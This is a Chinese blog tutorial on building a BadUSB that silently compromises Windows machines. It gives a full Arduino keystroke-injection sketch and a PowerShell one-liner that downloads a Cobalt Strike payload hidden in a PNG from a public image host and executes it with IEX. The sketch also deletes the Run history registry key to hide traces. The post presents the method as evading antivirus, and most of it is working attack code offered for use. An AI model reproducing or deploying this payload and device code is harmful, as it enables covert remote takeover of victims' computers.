BadUsb配合Cobalt-Strike免殺上線

天問非攻發表於2021-05-03

BadUsb配合Cobalt-Strike免殺上線

前言:

原理簡介:Badusb的原理是將惡意程式碼預置在韌體之中,當受害人插入USB時,就會執行惡意程式碼進行惡意操作。Badusb將惡意程式碼預存在U盤的韌體中,導致PC上的防毒軟體無法應對BadUsb的攻擊。 BadUSB就是通過對U盤的韌體進行逆向重新程式設計,改寫了U盤的作業系統而進行攻擊的。

實現步驟:

1.Cobalt-strike生成Powershell payload.

2.自行從網上找一1920*1080高清桌布,接下來要將木馬免殺進PNG圖片。

免殺工具地址:https://github.com/peewpw/Invoke-PSImage

介紹:Invoke-PSImage使用PowerShell指令碼並將該指令碼的位元組編碼為PNG影像的畫素。 它從Web的檔案中生成一個oneliner來執行。

它可以僅使用有效載荷資料來建立新影像,也可以將有效載荷嵌入到現有影像的最低有效位元組中,以便看起來像實際的圖片。 影像儲存為PNG,並且可以無失真壓縮,而不會影響執行有效載荷的能力,因為資料本身以顏色儲存。 建立新映像時,通常會對常規PowerShell指令碼進行顯著壓縮,通常會生成png,其檔案大小約為原始指令碼的50%。

將生成的Payload.ps1和網上的圖片放在Invoke-PSimage同一目錄下,按下Shift+滑鼠右鍵進入Powershell命令列,輸入如下命令:

 Import-Module .\Invoke-PSImage.ps1
 Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient

會發現生成如下的命令:

當這個語句放入Powershell執行的時候,CS就會上線目標機器,但是不會觸發殺軟,簡單原理就是遠端下載帶有惡意程式碼的圖片,然後進行執行,那麼接下來一步就是將帶有混淆程式碼的圖片上傳到網際網路上。(使用Cobalt-strike的釣魚檔案下載具有時效性,不如圖床穩定)

3.上傳到圖床,目前網際網路上的圖床上傳限制皆為5M,這裡我找了一個比較好的圖床。

連結如下:https://www.png8.com/

上傳完圖片後將原有程式碼進行修改替換,修改後如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://www.png8.com/imgs/2021/05/18df3672767f26ef.png"));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

 

這樣在Powershell模式下執行就會進行上線

4.接下來就是將惡意程式碼執行的命令燒錄進BadUsb.

使用到的軟體是Arduino IDE,使用的Badusb為淘寶某熱銷。

Badusb的核心邏輯就是模擬鍵盤操作,那麼我們的入侵思路是目標插入Badusb的一段時間內使其失去對電腦的控制許可權,從而給我們足夠是時間讓惡意程式碼執行,從網頁上下載帶有Payload的PNG進行執行。那麼我們的思路可以是這樣的:

#1.插入USB後快取一定時間讓電腦足夠識別
#2.按下Win+r,並且以最小化開啟CMD,並且刪除登錄檔記錄
#3.進入Powershell模式
#4.在Powershell模式下執行惡意程式碼,同時讓目標失去對電腦的控制權
#5.執行完惡意程式碼後按下Win+M,此時所有應用最小化。

對應的arduino程式碼如下,具體可以自己魔改,相應的函式作用不再贅述。

 void setup() {//初始化
  Keyboard.begin();//開始鍵盤通訊 
  delay(5000);//延時
  Keyboard.press(KEY_LEFT_GUI);//win鍵 
  delay(500); 
  Keyboard.press('r');//r鍵 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1&reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
  delay(500);  
  Keyboard.println("Powershell");
  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);
  Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://www.png8.com/imgs/2021/05/18df3672767f26ef.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))");
  Keyboard.press(KEY_RETURN);
  delay(10000);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_RETURN);
  delay(5000);
  Keyboard.release(KEY_RETURN);
  Keyboard.println('exit');
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press('m');
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('m');
  Keyboard.end();//結束鍵盤通訊 
}
void loop()//迴圈
{
}

①:注意應將連結內的雙引號修改為單引號否則會引起報錯。

②:圖片上傳到圖床一定得是PNG格式,jpg格式會導致無法解析!

5.使用Arduino燒錄程式碼到USB中

選擇Arduino Leonardo 板 以及COM5埠,將程式碼編譯執行後燒錄。

再次插入USB,自動執行並且上線。

殺軟無告警,此時BadUsb製作成功。

相關文章